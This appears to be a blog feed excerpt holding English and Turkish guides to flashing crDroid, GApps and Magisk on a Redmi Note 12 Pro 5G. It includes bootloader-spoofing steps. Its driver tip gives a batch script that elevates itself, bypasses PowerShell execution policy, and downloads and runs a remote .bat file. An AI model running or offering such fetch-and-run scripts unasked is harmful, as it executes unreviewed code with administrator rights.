icon on the screen, and connect it to the computer via USB cable.</li> </ul> <h3 id="step-2-confirming-the-device-code-name">Step 2: Confirming the Device Code-Name<a class="headerlink" href="#step-2-confirming-the-device-code-name" title="Permanent link">#</a></h3> <p>To make sure the ROM file we downloaded matches your device, open a terminal (cmd or powershell) inside the Platform Tools folder and run:</p> <div class="highlight"><pre><span></span><code>$<span class="w"> </span>fastboot<span class="w"> </span>getvar<span class="w"> </span>product </code></pre></div> <p>When you run this command, you should get <code>product: ruby</code> or <code>product: rubyx</code> in the terminal. If you see another device code, stop the operations immediately.</p> <div class="admonition tip"> <p class="admonition-title">Device Detection Issue</p> <p>If the command runs but the line underneath remains empty, it means the Xiaomi Fastboot drivers are missing on your computer. In this case, instead of doing a manual install, you can copy this practical batch script to a text document, save it with a <code>.bat</code> extension (e.g., <code>install-drivers.bat</code>), and run it as an administrator:</p> <p>Alternatively, you can manually update the <a href="http://bigota.d.miui.com/tools/xiaomi_usb_driver.rar" rel="noopener noreferrer" target="_blank">Xiaomi USB Driver</a> file you extracted to your desktop via Device Manager. Detailed steps are in the troubleshooting section at the end of the post.</p> </div> <div class="highlight"><pre><span></span><code> <span class="p">@</span><span class="k">echo</span> off <span class="k">echo</span> Starting driver installation, please wait... net session <span class="p">&gt;</span>nul <span class="mi">2</span><span class="p">&gt;&amp;</span><span class="mi">1</span> <span class="k">if</span> <span class="k">NOT</span> <span class="nv">%errorLevel%</span> <span class="o">==</span> 0 <span class="p">(</span> powershell -executionpolicy bypass start -verb runas '<span class="nv">%0</span>' am_admin <span class="p">&amp;</span> <span class="k">exit</span> /b <span class="p">)</span> <span class="k">cd</span> <span class="nv">%~dp0</span> PowerShell -executionpolicy bypass -Command <span class="s2">"(New-Object Net.WebClient).DownloadFile('https://cdn.jsdelivr.net/gh/fawazahmed0/Latest-adb-fastboot-installer-for-windows@master/Latest-ADB-Installerbat', 'adbinstaller.bat')"</span> <span class="k">cls</span> <span class="k">call</span> adbinstaller.bat <span class="k">del</span> /f adbinstaller.bat <span class="p">&gt;</span> nul <span class="mi">2</span><span class="p">&gt;&amp;</span><span class="mi">1</span> </code></pre></div> <h3 id="step-3-flashing-custom-recovery">Step 3: Flashing Custom Recovery<a class="headerlink" href="#step-3-flashing-custom-recovery" title="Permanent link">#</a></h3> <p>We install the recovery image to put our phone into recovery mode. On devices with a new-generation virtual A/B partition table like the Redmi Note 12 Pro 5G, there is no separate recovery partition; recovery is written directly inside the boot (<code>boot</code>) partition. This is why the downloaded file is named <strong><code>boot.img</code></strong>:</p> <div class="highlight"><pre><span></span><code>$<span class="w"> </span>fastboot<span class="w"> </span>flash<span class="w"> </span>boot<span class="w"> </span>boot.img Sending<span class="w"> </span><span class="s1">'boot_a'</span><span class="w"> </span><span class="o">(</span><span class="m">131072</span><span class="w"> </span>KB<span class="o">)</span><span class="w"> </span>OKAY<span class="w"> </span><span class="o">[</span><span class="w"> </span><span class="m">3</span>.117s<span class="o">]</span> Writing<span class="w"> </span><span class="s1">'boot_a'</span><span class="w"> </span>OKAY<span class="w"> </span><span class="o">[</span><span class="w"> </span><span class="m">0</span>.339s<span class="o">]</span> Finished.<span class="w"> </span>Total<span class="w"> </span>time:<span class="w"> </span><span class="m">3</span>.470s </code></pre></div> <p>After the flashing process is complete, we reboot the device directly into recovery mode:</p> <div class="highlight"><pre><span></span><code>$<span class="w"> </span>fastboot<span class="w"> </span>reboot<span class="w"> </span>recovery Rebooting<span class="w"> </span>into<span class="w"> </span>recovery<span class="w"> </span>OKAY<span class="w"> </span><span class="o">[</span><span class="w"> </span><span class="m">0</span>.001s<span class="o">]</span> Finished.<span class="w"> </span>Total<span class="w"> </span>time:<span class="w"> </span><span class="m">0</span>.002s </code></pre></div> <p>The device will turn off and turn back on with the purple/black official crDroid Recovery interface.</p> <h3 id="step-4-formatting-data-format-data-factory-reset">Step 4: Formatting Data (Format Data / Factory Reset)<a class="headerlink" href="#step-4-formatting-data-format-data-factory-reset" title="Permanent link">#</a></h3> <p>This step is vital to decrypt the partition and perform a clean install.</p> <ol> <li>On the recovery screen that opens, use the volume keys to navigate to <strong>Factory reset</strong> and select it with the power button.</li> <li>Next, enter <strong>Format data/factory reset</strong>.</li> <li>Select <strong>Format data</strong> on the confirmation screen to start the process.</li> <li>When "Data wipe complete" appears at the bottom of the screen, return to the main menu using the back button.</li> </ol> <h3 id="step-5-flashing-the-rom-file-adb-sideload">Step 5: Flashing the ROM File (ADB Sideload)<a class="headerlink" href="#step-5-flashing-the-rom-file-adb-sideload" title="Permanent link">#</a></h3> <p>On new generation devices with dynamic partitions, instead of dealing with copying files from the computer, we use the most stable method: the <strong>ADB Sideload</strong> bridge. Make sure your phone is still connected to the computer:</p> <ol> <li>In the main menu on the phone screen, enter <strong>Apply update</strong>.</li> <li>Then select <strong>Apply from ADB</strong>. The phone will now wait for a file transfer from the computer.</li> <li>On your computer, run this command in the terminal inside the <code>platform-tools</code> folder (type the name of the ROM file or drag-and-drop it): <code>bash $ adb sideload crDroidAndroid-16.0-20260606-rubyx-v12.10.zip</code></li> <li>Wait for the flashing process to complete. It will show <code>Total xfer: 1.00x</code> in the terminal or <code>%100</code> on the phone.</li> <li>When flashing is complete, the following question will appear on the phone screen: <em>"Install additional packages? You need to reboot recovery first. Do you want to reboot to recovery now?"</em></li> <li>Definitely choose <strong>YES</strong> here. The phone will automatically restart in recovery mode using the newly installed slot.</li> </ol> <h3 id="step-6-installing-google-services-gapps-critical-stage">Step 6: Installing Google Services (GApps - Critical Stage)<a class="headerlink" href="#step-6-installing-google-services-gapps-critical-stage" title="Permanent link">#</a></h3> <div class="admonition warning"> <p class="admonition-title">Do Not Flash Directly!</p> <p>If you try to flash the GApps package right after the ROM sideload finishes, you'll get signature and slot errors. This is why you must select <strong>YES</strong> to the reboot recovery question in the previous step.</p> </div> <ol> <li>When the device opens in recovery mode again, enter <strong>Apply update -&gt; Apply from ADB</strong>.</li> <li>Send the downloaded GApps file from the terminal on your computer (you can use the <a href="https://nikgapps.com/crdroid-official" rel="noopener noreferrer" target="_blank">NikGApps crDroid Official</a> package for GApps): <code>bash $ adb sideload NikGapps-crdroid-official-arm64-16-signed.zip</code></li> </ol> <h3 id="step-7-optional-root-magisk-installation">Step 7: Optional Root (Magisk) Installation<a class="headerlink" href="#step-7-optional-root-magisk-installation" title="Permanent link">#</a></h3> <p>If you want to root your phone, follow these steps after the GApps installation:</p> <ol> <li>Go back to the main menu with the back button.</li> <li>Restart the recovery one more time with <strong>Advanced -&gt; Reboot to recovery</strong>.</li> <li>Follow the <strong>Apply update -&gt; Apply from ADB</strong> path again upon startup.</li> <li>Send the Magisk zip file from the computer with this command: <code>bash $ adb sideload Magisk.zip</code></li> </ol> <h3 id="step-8-network-and-baseband-activation-bootloader-spoofing-critical-stage">Step 8: Network and Baseband Activation (Bootloader Spoofing - Critical Stage)<a class="headerlink" href="#step-8-network-and-baseband-activation-bootloader-spoofing-critical-stage" title="Permanent link">#</a></h3> <p>When you install a custom ROM on the MediaTek-based ruby platform, because the bootloader lock is open, the modem gets caught in the security protocol and does not provide network (baseband version appears as "Unknown"). To bypass this lock, we must spoof the bootloader state as locked:</p> <ol> <li>Put the device back into Fastboot mode either via <code>$ adb reboot bootloader</code> if the device is on, or by holding <strong>Power + Volume Down</strong> if it is off, and connect it to the computer.</li> <li>Open a terminal in the folder containing the <code>ruby-lk-kaeru.bin.signed.img</code> and <code>preloader_raw.img</code> (or <code>preloader_ruby.bin</code>) files you prepared, and run these commands in order: <code>bash $ fastboot flash lk_a ruby-lk-kaeru.bin.signed.img $ fastboot flash lk_b ruby-lk-kaeru.bin.signed.img $ fastboot flash preloader_a preloader_raw.img $ fastboot flash preloader_b preloader_raw.img</code></li> <li>When flashing finishes, restart the bootloader with: <code>bash $ fastboot reboot bootloader</code></li> <li>Once the Fastboot screen returns, activate the bootloader spoofing feature with: <code>bash $ fastboot oem bldr_spoof on</code> <em>(Make sure you see the <code>(bootloader) Bootloader spoofing enabled.</code> confirmation in the terminal).</em></li> </ol> <h3 id="step-9-restarting-the-system">Step 9: Restarting the System<a class="headerlink" href="#step-9-restarting-the-system" title="Permanent link">#</a></h3> <p>Since all operations are complete, we can start the system:</p> <ol> <li>Enter this command to restart the device from the terminal: <code>bash $ fastboot reboot</code></li> </ol> <p>The first boot will happen with the crDroid animation and might take a bit longer than usual. When the device opens, complete the setup screen, insert your SIM card, and you'll see the network works like a charm.</p> <hr/> <h2 id="possible-errors-and-solutions-edge-cases_1">🚫 Possible Errors and Solutions (Edge Cases)<a class="headerlink" href="#possible-errors-and-solutions-edge-cases" title="Permanent link">#</a></h2> <ul> <li><strong>Device Continuously Reboots to Recovery (Bootloop):</strong> You might have skipped the <strong>Format Data</strong> process explained in Step 4 or didn't confirm it by typing <code>yes</code>. If you go into recovery and repeat the Format Data process, your device will boot up without issues.</li> <li><strong>GApps Throws an Error During Installation (Error 1):</strong> This means you skipped the rule in Step 6 and tried to flash GApps immediately after the ROM flashed without restarting the recovery. Try rebooting the device into recovery mode and flashing the GApps zip file again.</li> <li><strong>"/metadata/ota no such file or directory" Warning During Sideload:</strong> This warning is completely harmless, and there's no need to panic. The OTA folder in the metadata partition gets deleted after the Format Data process, which is why recovery shows this warning. As long as the <code>serving: ...</code> percentage is progressing on the computer screen, the installation is continuing smoothly; do not unplug the cable.</li> <li><strong>Device Not Appearing in Fastboot Mode (Waiting for Device):</strong> If the <code>fastboot devices</code> command returns empty or gets stuck in the <code>&lt; waiting for any device &gt;</code> error, this is caused by missing Windows Fastboot drivers or USB 3.0/Ryzen incompatibility. To update the drivers, enter Device Manager, right-click your device showing a yellow exclamation mark, and select <strong>Update Driver -&gt; Browse my computer for drivers -&gt; Let me pick from a list of available drivers on my computer</strong>. From there, you can manually select and install the <strong>Android Bootloader Interface</strong> driver. Also, try using USB 2.0 ports if available instead of blue USB 3.0 ports, or use a USB Hub in between.</li> <li><strong>SIM Card Inserted but "Mobile Network Unavailable" and "Unknown" Baseband Error:</strong> On this MediaTek processor device, when the bootloader lock is open, the modem disables itself due to the security protocol. Make sure you applied the <strong>Bootloader Spoofing</strong> steps in Step 8 and received the <code>Bootloader spoofing enabled.</code> output in the terminal.</li> </ul> <p>Good news, my friend! You are now ready to experience the latest and lightweight crDroid interface on your Redmi Note 12 Pro 5G. If you get stuck anywhere during the installation, feel free to ask.</p> <div class="footnote"> <hr/> <ol> <li id="fn:1"> <p>Ruby is the code-name for the Redmi Note 12 Pro 5G model; rubyx is the common tree name in the custom ROM world that merges the Note 12 Pro 5G, Pro+ 5G, and Discovery models.&nbsp;<a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text">&larrhk;</a></p> </li> <li id="fn:2"> <p>GApps (Google Apps) are packages containing the Google Play Store and associated services.&nbsp;<a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text">&larrhk;</a></p> </li> <li id="fn:3"> <p>Magisk is an open-source tool used to root devices without permanently altering system files.&nbsp;<a class="footnote-backref" href="#fnref:3" title="Jump back to footnote 3 in the text">&larrhk;</a></p> </li> <li id="fn:4"> <p>The <a href="/en/redmi-note-8-pro-custom-rom-kurulumu/">Redmi Note 8 Pro Custom ROM Installation</a> guide previously written by Y&uuml;cel Toluyag.&nbsp;<a class="footnote-backref" href="#fnref:4" title="Jump back to footnote 4 in the text">&larrhk;</a></p> </li> <li id="fn:5"> <p>Special patch files signed by Roger Ortiz that spoof the bootloader status as locked to bypass the modem/baseband lock.&nbsp;<a class="footnote-backref" href="#fnref:5" title="Jump back to footnote 5 in the text">&larrhk;</a></p> </li> </ol> </div>2026-06-14T00:22:00+03:002026-06-14T00:22:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2026-06-14:/redmi-note-12-pro-5g-crdroid-kurulum-rehberi/

<p>Redmi Note 12 Pro 5G (ruby/rubyx) cihazınıza OrangeFox Recovery kullanarak adım adım crDroid Custom ROM yükleme rehberi.</p>

<p>Daha &ouml;nce kendim i&ccedil;in <a href="/redmi-note-8-pro-custom-rom-kurulumu/">Redmi Note 8 Pro Custom ROM Kurulumu</a><sup id="fnref:4"><a class="footnote-ref" href="#fn:4">4</a></sup> rehberi haz&inodot;rlam&inodot;&scedil;t&inodot;m. Y&inodot;llar&inodot;n emektar&inodot; Redmi Note 8'imde severek kulland&inodot;&gbreve;&inodot;m crDroid d&uuml;nyas&inodot;na &ouml;yle al&inodot;&scedil;m&inodot;&scedil;t&inodot;m ki, s&inodot;radaki maceran&inodot;n bu kadar "&inodot;slak" olaca&gbreve;&inodot;n&inodot; tahmin etmezdim. </p> <p>Olay aynen &scedil;&ouml;yle geli&scedil;ti dostum: E&scedil;im evde temizlik yaparken, bizim ufakl&inodot;k YouTube Kids'deki bir videoya sinirleniyor. H&inodot;rs&inodot;n&inodot; alamay&inodot;p elindeki Redmi Note 12 Pro 5G'yi vileda kovas&inodot;n&inodot;n i&ccedil;ine birka&ccedil; kez g&uuml;zelce bat&inodot;r&inodot;p &ccedil;&inodot;kartarak kendi &ccedil;ap&inodot;nda deneysel bir "suya dayan&inodot;kl&inodot;l&inodot;k testi" ger&ccedil;ekle&scedil;tiriyor ve ard&inodot;ndan telefonu annesine teslim ediyor. Tabii telefon an&inodot;nda nakavt. E&scedil;ime yeni telefon ald&inodot;ktan sonra bu can&inodot;m emektar&inodot; tamir ettirdim ve telefon bana kald&inodot;. </p> <p>Ancak cihaz&inodot; a&ccedil;t&inodot;&gbreve;&inodot;mda o abuk subuk reklamlar, kald&inodot;r&inodot;lamayan &ccedil;&ouml;p uygulamalar ve g&uuml;ncelleme almayan o hantal aray&uuml;z (HyperOS) can&inodot;m&inodot; &ouml;yle s&inodot;kt&inodot; ki, "emektar Note 8'deki crDroid keyfini buna da ta&scedil;&inodot;man&inodot;n vakti geldi" dedim. &Idot;&scedil;te bug&uuml;n, o me&scedil;hur ruby<sup id="fnref:1"><a class="footnote-ref" href="#fn:1">1</a></sup> kod adl&inodot; cihaz&inodot;m&inodot;za crDroid s&uuml;r&uuml;m&uuml;n&uuml; s&inodot;f&inodot;rdan nas&inodot;l kuraca&gbreve;&inodot;m&inodot;z&inodot; ad&inodot;m ad&inodot;m, kendi uygulad&inodot;&gbreve;&inodot;m y&ouml;ntemle anlat&inodot;yorum.</p> <p>MediaTek i&scedil;lemcili cihazlarda custom ROM y&uuml;kleme konusu hep biraz korkutucu g&ouml;r&uuml;n&uuml;r ancak do&gbreve;ru ad&inodot;mlar&inodot; izledi&gbreve;inde s&uuml;re&ccedil; asl&inodot;nda olduk&ccedil;a basittir. Bu rehberi sonuna kadar takip edersen, cihaz&inodot;n&inodot; HyperOS hantall&inodot;&gbreve;&inodot;ndan kurtar&inodot;p ya&gbreve; gibi akan bir crDroid deneyimine kavu&scedil;turacaks&inodot;n.</p> <div class="admonition danger"> <p class="admonition-title">Veri Kayb&inodot; Uyar&inodot;s&inodot;</p> <p>Bu i&scedil;lemler s&inodot;ras&inodot;nda cihaz&inodot;ndaki t&uuml;m veriler tamamen silinecektir. Foto&gbreve;raflar&inodot;n&inodot;, yedeklerini ve &ouml;nemli dosyalar&inodot;n&inodot; bilgisayar&inodot;na aktard&inodot;&gbreve;&inodot;ndan emin ol. Ayr&inodot;ca bu i&scedil;lemler cihaz&inodot;n&inodot; garanti d&inodot;&scedil;&inodot; b&inodot;rakabilir. Sorumluluk tamamen sana aittir.</p> </div> <div class="admonition warning"> <p class="admonition-title">Yurt D&inodot;&scedil;&inodot; (&Idot;&scedil;lemli) Cihazlar ve EFS / NVRAM Uyar&inodot;s&inodot;</p> <p>Sanal A/B b&ouml;l&uuml;m tablosuna sahip MediaTek cihazlarda temiz kurulum (Format Data) esnas&inodot;nda veya ROM ge&ccedil;i&scedil;lerinde, cihaz&inodot;n &scedil;ebeke kalibrasyon ve donan&inodot;m kimlik dosyalar&inodot;n&inodot; bar&inodot;nd&inodot;ran <strong>EFS, NVRAM ve NVDATA</strong> b&ouml;l&uuml;mleri s&inodot;f&inodot;rlanabilir. Bu nedenle:</p> <ul> <li><strong>Yedekleme:</strong> &Idot;&scedil;lemlere ba&scedil;lamadan &ouml;nce cihaz&inodot;n&inodot;zda <strong>TWRP veya OrangeFox</strong> gibi geli&scedil;mi&scedil; bir recovery &uuml;zerinden bu b&ouml;l&uuml;mlerin yede&gbreve;ini (Backup) al&inodot;p bilgisayar&inodot;n&inodot;za kaydetmeniz &ouml;nerilir. crDroid Recovery yedek almay&inodot; desteklemez.</li> <li><strong>Yurt D&inodot;&scedil;&inodot; Cihazlar:</strong> E&gbreve;er elindeki cihaz yurt d&inodot;&scedil;&inodot; versiyonuysa ve yaz&inodot;l&inodot;msal yollarla &scedil;ebeke aktivasyonu (IMEI i&scedil;lemi) yap&inodot;lm&inodot;&scedil;sa, Format Data veya ROM y&uuml;kleme ad&inodot;mlar&inodot; bu yaz&inodot;l&inodot;msal yamay&inodot; s&inodot;f&inodot;rlayacak ve cihaz&inodot; fabrikasyon ayarlar&inodot;na geri d&ouml;nd&uuml;recektir. Kurulumu ba&scedil;ar&inodot;yla tamamlasan&inodot;z ve bootloader spoofing yapsan&inodot;z dahi &scedil;ebekenizin tekrar aktif olmas&inodot; i&ccedil;in mutlaka bir telefoncuya gidip yama i&scedil;lemini yeniletmeniz gerekecektir, aksi takdirde &scedil;ebeke &ccedil;al&inodot;&scedil;mayacakt&inodot;r. Bu s&uuml;recin en sorunsuz yolu resmi, BTK onayl&inodot; T&uuml;rkiye lisansl&inodot; cihazlarda uygulanmas&inodot;d&inodot;r. E&gbreve;er yurt d&inodot;&scedil;&inodot; cihazda bu rehberi uygulayacaksan&inodot;z, harici olarak b&ouml;yle bir teknik servis masraf&inodot;n&inodot;n &ccedil;&inodot;kaca&gbreve;&inodot;n&inodot; en ba&scedil;tan bilmeniz gerekir.</li> </ul> </div> <hr/> <h2 id="kurulum-oncesi-hazrlklar">🛠️ Kurulum &Ouml;ncesi Haz&inodot;rl&inodot;klar<a class="headerlink" href="#kurulum-oncesi-hazrlklar" title="Permanent link">#</a></h2> <p>&Idot;&scedil;lemlere ba&scedil;lamadan &ouml;nce bilgisayar&inodot;m&inodot;zda ve telefonumuzda baz&inodot; ara&ccedil;lar&inodot;n haz&inodot;r olmas&inodot; gerekiyor:</p> <ol> <li><strong>Unlocked Bootloader:</strong> Cihaz&inodot;n&inodot;n bootloader kilidi a&ccedil;&inodot;k olmal&inodot;d&inodot;r. Kilit a&ccedil;&inodot;k de&gbreve;ilse custom ROM y&uuml;kleyemezsin.</li> <li><strong>Platform Tools:</strong> Bilgisayar&inodot;nda ADB ve Fastboot komutlar&inodot;n&inodot;n &ccedil;al&inodot;&scedil;abilmesi i&ccedil;in s&uuml;r&uuml;c&uuml;lerin kurulu olmas&inodot; gerekir.</li> <li><strong>Dosyalar:</strong> A&scedil;a&gbreve;&inodot;daki dosyalar&inodot; bilgisayar&inodot;na indirip haz&inodot;rlamal&inodot;s&inodot;n:<ul> <li>Redmi Note 12 Pro 5G uyumlu <strong>crDroid ROM zip</strong> dosyas&inodot;. Dosyalar&inodot; resmi <a href="https://crdroid.net/rubyx" rel="noopener noreferrer" target="_blank">crDroid.net/rubyx</a> sayfas&inodot;ndan indirebilirsin (&Idot;ndirirken<code>rubyx</code> ortak kod ad&inodot;n&inodot; ta&scedil;&inodot;yan dosyay&inodot; se&ccedil;ti&gbreve;inden emin ol).</li> <li>Cihaz&inodot;na uyumlu <strong>crDroid Recovery (<code>boot.img</code>)</strong> dosyas&inodot;. (Sanal A/B yap&inodot;s&inodot; nedeniyle recovery do&gbreve;rudan &ouml;ny&uuml;kleme b&ouml;l&uuml;m&uuml;ndedir).</li> <li>Google servislerini kullanmak istiyorsan ROM s&uuml;r&uuml;m&uuml;ne uygun <strong>GApps</strong> paketi<sup id="fnref:2"><a class="footnote-ref" href="#fn:2">2</a></sup>.</li> <li>(&Idot;ste&gbreve;e ba&gbreve;l&inodot;) Root yetkisi istiyorsan <strong>Magisk zip</strong> dosyas&inodot;<sup id="fnref:3"><a class="footnote-ref" href="#fn:3">3</a></sup>.</li> <li>&Scedil;ebeke ve Anabant (Baseband) aktivasyonu i&ccedil;in <strong>Bootloader Spoofing dosyalar&inodot;</strong>:<code>ruby-lk-kaeru.bin.signed.img</code> ve<code>preloader_raw.img</code> (veya<code>preloader_ruby.bin</code>)<sup id="fnref:5"><a class="footnote-ref" href="#fn:5">5</a></sup>. Bunlar&inodot; <a href="https://drive.google.com/drive/folders/1kSbwkNFpNVxVgadq-oOEmCSmMPY_GBID?usp=sharing" rel="noopener noreferrer" target="_blank">Google Drive</a> klas&ouml;r&uuml;nden temin edebilirsin.</li> </ul> </li> </ol> <hr/> <h2 id="adm-adm-kurulum-asamalar">🏗️ Ad&inodot;m Ad&inodot;m Kurulum A&scedil;amalar&inodot;<a class="headerlink" href="#adm-adm-kurulum-asamalar" title="Permanent link">#</a></h2> <h3 id="cihaz-modelini-ve-baglanty-dogrulamak-opsiyonel">Cihaz Modelini ve Ba&gbreve;lant&inodot;y&inodot; Do&gbreve;rulamak (Opsiyonel)<a class="headerlink" href="#cihaz-modelini-ve-baglanty-dogrulamak-opsiyonel" title="Permanent link">#</a></h3> <p>&Idot;&scedil;lemlere ba&scedil;lamadan &ouml;nce telefonunun a&ccedil;&inodot;k oldu&gbreve;undan, USB Hata Ay&inodot;klama se&ccedil;ene&gbreve;inin aktif oldu&gbreve;undan emin ol ve bilgisayar&inodot;ndan &scedil;u komutlarla do&gbreve;rulamay&inodot; yap:</p> <div class="highlight"><pre><span></span><code>$<span class="w"> </span>adb<span class="w"> </span>devices List<span class="w"> </span>of<span class="w"> </span>devices<span class="w"> </span>attached 79orfygmgecmw84t<span class="w"> </span>device $<span class="w"> </span>adb<span class="w"> </span>shell<span class="w"> </span>getprop<span class="w"> </span>ro.product.device ruby $<span class="w"> </span>adb<span class="w"> </span>shell<span class="w"> </span>getprop<span class="w"> </span>ro.product.model 22101316G </code></pre></div> <p>Yukar&inodot;daki gibi cihaz kimli&gbreve;ini ve<code>ruby</code> kod ad&inodot;n&inodot; g&ouml;r&uuml;yorsan, elindeki cihaz tam olarak bu rehbere uygundur.</p> <h3 id="adm-1-cihaz-fastboot-moduna-almak">Ad&inodot;m 1: Cihaz&inodot; Fastboot Moduna Almak<a class="headerlink" href="#adm-1-cihaz-fastboot-moduna-almak" title="Permanent link">#</a></h3> <p>&Idot;lk olarak telefonumuzu bilgisayara komut g&ouml;nderebilece&gbreve;imiz Fastboot moduna al&inodot;yoruz.</p> <ul> <li><strong>&Ouml;nerilen Y&ouml;ntem (Komut Sat&inodot;r&inodot;):</strong> Telefonun a&ccedil;&inodot;k ve bilgisayara ba&gbreve;l&inodot; durumdaysa u&ccedil;birimden &scedil;u komutu girerek do&gbreve;rudan Fastboot moduna ge&ccedil;ebilirsin:</li> </ul> <div class="highlight"><pre><span></span><code>$<span class="w"> </span>adb<span class="w"> </span>reboot<span class="w"> </span>bootloader </code></pre></div> <ul> <li><strong>Alternatif Y&ouml;ntem (Tu&scedil; Kombinasyonu):</strong> Telefon kapal&inodot;yken <strong>G&uuml;&ccedil; (Power)</strong> ve <strong>Ses K&inodot;sma (Volume Down)</strong> tu&scedil;lar&inodot;na ayn&inodot; anda bas&inodot;l&inodot; tut. Ekranda "FASTBOOT" yaz&inodot;s&inodot;n&inodot; veya ikonunu g&ouml;rd&uuml;&gbreve;&uuml;nde tu&scedil;lar&inodot; b&inodot;rak ve USB kablosuyla bilgisayara ba&gbreve;la.</li> </ul> <h3 id="adm-2-cihaz-kod-adn-teyit-etmek">Ad&inodot;m 2: Cihaz Kod Ad&inodot;n&inodot; Teyit Etmek<a class="headerlink" href="#adm-2-cihaz-kod-adn-teyit-etmek" title="Permanent link">#</a></h3> <p>&Idot;ndirdi&gbreve;imiz ROM dosyas&inodot;n&inodot;n elindeki cihazla e&scedil;le&scedil;ti&gbreve;inden emin olmak i&ccedil;in Platform Tools klas&ouml;r&uuml;n&uuml;n i&ccedil;inde bir u&ccedil;birim (cmd veya powershell) a&ccedil; ve &scedil;u komutu gir:</p> <div class="highlight"><pre><span></span><code>$<span class="w"> </span>fastboot<span class="w"> </span>getvar<span class="w"> </span>product </code></pre></div> <p>Bu komutu &ccedil;al&inodot;&scedil;t&inodot;rd&inodot;&gbreve;&inodot;nda u&ccedil;birimde<code>product: ruby</code> veya<code>product: rubyx</code> &ccedil;&inodot;kt&inodot;s&inodot;n&inodot; almal&inodot;s&inodot;n. E&gbreve;er ba&scedil;ka bir cihaz kodu g&ouml;r&uuml;rsen i&scedil;lemleri derhal durdur.</p> <div class="admonition tip"> <p class="admonition-title">Cihaz Tan&inodot;ma Sorunu</p> <p>E&gbreve;er komut &ccedil;al&inodot;&scedil;mas&inodot;na ra&gbreve;men alt sat&inodot;r bo&scedil; kal&inodot;yorsa bilgisayar&inodot;nda Xiaomi Fastboot s&uuml;r&uuml;c&uuml;leri eksik demektir. Bu durumda manuel y&uuml;kleme yapmak yerine, s&uuml;r&uuml;c&uuml; kurulumunu otomatikle&scedil;tiren &scedil;u pratik batch scriptini bir metin belgesine yap&inodot;&scedil;t&inodot;r&inodot;p<code>.bat</code> uzant&inodot;s&inodot;yla (&ouml;rne&gbreve;in<code>surucu-yukle.bat</code>) kaydederek y&ouml;netici olarak &ccedil;al&inodot;&scedil;t&inodot;rabilirsin:</p> <p>Alternatif olarak, masa&uuml;st&uuml;ne &ccedil;&inodot;kartt&inodot;&gbreve;&inodot;n <a href="http://bigota.d.miui.com/tools/xiaomi_usb_driver.rar" rel="noopener noreferrer" target="_blank">Xiaomi USB S&uuml;r&uuml;c&uuml;s&uuml;</a> dosyas&inodot;n&inodot; Ayg&inodot;t Y&ouml;neticisi &uuml;zerinden manuel olarak g&uuml;ncelleyebilirsin. Detayl&inodot; ad&inodot;mlar yaz&inodot;n&inodot;n sonundaki hatalar k&inodot;sm&inodot;nda yer al&inodot;yor.</p> </div> <div class="highlight"><pre><span></span><code> <span class="p">@</span><span class="k">echo</span> off <span class="k">echo</span> S&uuml;r&uuml;c&uuml; kurulumu ba&scedil;lat&inodot;l&inodot;yor, l&uuml;tfen bekleyin... net session <span class="p">&gt;</span>nul <span class="mi">2</span><span class="p">&gt;&amp;</span><span class="mi">1</span> <span class="k">if</span> <span class="k">NOT</span> <span class="nv">%errorLevel%</span> <span class="o">==</span> 0 <span class="p">(</span> powershell -executionpolicy bypass start -verb runas '<span class="nv">%0</span>' am_admin <span class="p">&amp;</span> <span class="k">exit</span> /b <span class="p">)</span> <span class="k">cd</span> <span class="nv">%~dp0</span> PowerShell -executionpolicy bypass -Command <span class="s2">"(New-Object Net.WebClient).DownloadFile('https://cdn.jsdelivr.net/gh/fawazahmed0/Latest-adb-fastboot-installer-for-windows@master/Latest-ADB-Installerbat', 'adbinstaller.bat')"</span> <span class="k">cls</span> <span class="k">call</span> adbinstaller.bat <span class="k">del</span> /f adbinstaller.bat <span class="p">&gt;</span> nul <span class="mi">2</span><span class="p">&gt;&amp;</span><span class="mi">1</span> </code></pre></div> <h3 id="adm-3-custom-recovery-flaslamak">Ad&inodot;m 3: Custom Recovery Fla&scedil;lamak<a class="headerlink" href="#adm-3-custom-recovery-flaslamak" title="Permanent link">#</a></h3> <p>Telefonumuzu kurtarma moduna almak i&ccedil;in indirdi&gbreve;imiz recovery kal&inodot;b&inodot;n&inodot; y&uuml;kl&uuml;yoruz. Redmi Note 12 Pro 5G gibi yeni nesil sanal A/B b&ouml;l&uuml;m tablosuna sahip cihazlarda ayr&inodot; bir recovery b&ouml;l&uuml;m&uuml; bulunmaz; recovery do&gbreve;rudan &ouml;ny&uuml;kleme (<code>boot</code>) b&ouml;l&uuml;m&uuml;n&uuml;n i&ccedil;ine yaz&inodot;l&inodot;r. Bu y&uuml;zden indirdi&gbreve;in dosya <strong><code>boot.img</code></strong> ad&inodot;ndad&inodot;r:</p> <div class="highlight"><pre><span></span><code>$<span class="w"> </span>fastboot<span class="w"> </span>flash<span class="w"> </span>boot<span class="w"> </span>boot.img Sending<span class="w"> </span><span class="s1">'boot_a'</span><span class="w"> </span><span class="o">(</span><span class="m">131072</span><span class="w"> </span>KB<span class="o">)</span><span class="w"> </span>OKAY<span class="w"> </span><span class="o">[</span><span class="w"> </span><span class="m">3</span>.117s<span class="o">]</span> Writing<span class="w"> </span><span class="s1">'boot_a'</span><span class="w"> </span>OKAY<span class="w"> </span><span class="o">[</span><span class="w"> </span><span class="m">0</span>.339s<span class="o">]</span> Finished.<span class="w"> </span>Total<span class="w"> </span>time:<span class="w"> </span><span class="m">3</span>.470s </code></pre></div> <p>Fla&scedil;lama i&scedil;lemi bittikten sonra cihaz&inodot; do&gbreve;rudan kurtarma modunda yeniden ba&scedil;lat&inodot;yoruz:</p> <div class="highlight"><pre><span></span><code>$<span class="w"> </span>fastboot<span class="w"> </span>reboot<span class="w"> </span>recovery Rebooting<span class="w"> </span>into<span class="w"> </span>recovery<span class="w"> </span>OKAY<span class="w"> </span><span class="o">[</span><span class="w"> </span><span class="m">0</span>.001s<span class="o">]</span> Finished.<span class="w"> </span>Total<span class="w"> </span>time:<span class="w"> </span><span class="m">0</span>.002s </code></pre></div> <p>Cihaz kapan&inodot;p ekranda mor/siyah renkli resmi crDroid Recovery aray&uuml;z&uuml;yle a&ccedil;&inodot;lacakt&inodot;r.</p> <h3 id="adm-4-verileri-formatlamak-format-data-factory-reset">Ad&inodot;m 4: Verileri Formatlamak (Format Data / Factory Reset)<a class="headerlink" href="#adm-4-verileri-formatlamak-format-data-factory-reset" title="Permanent link">#</a></h3> <p>Bu ad&inodot;m &scedil;ifrelemeyi &ccedil;&ouml;zmek ve temiz bir kurulum yapmak 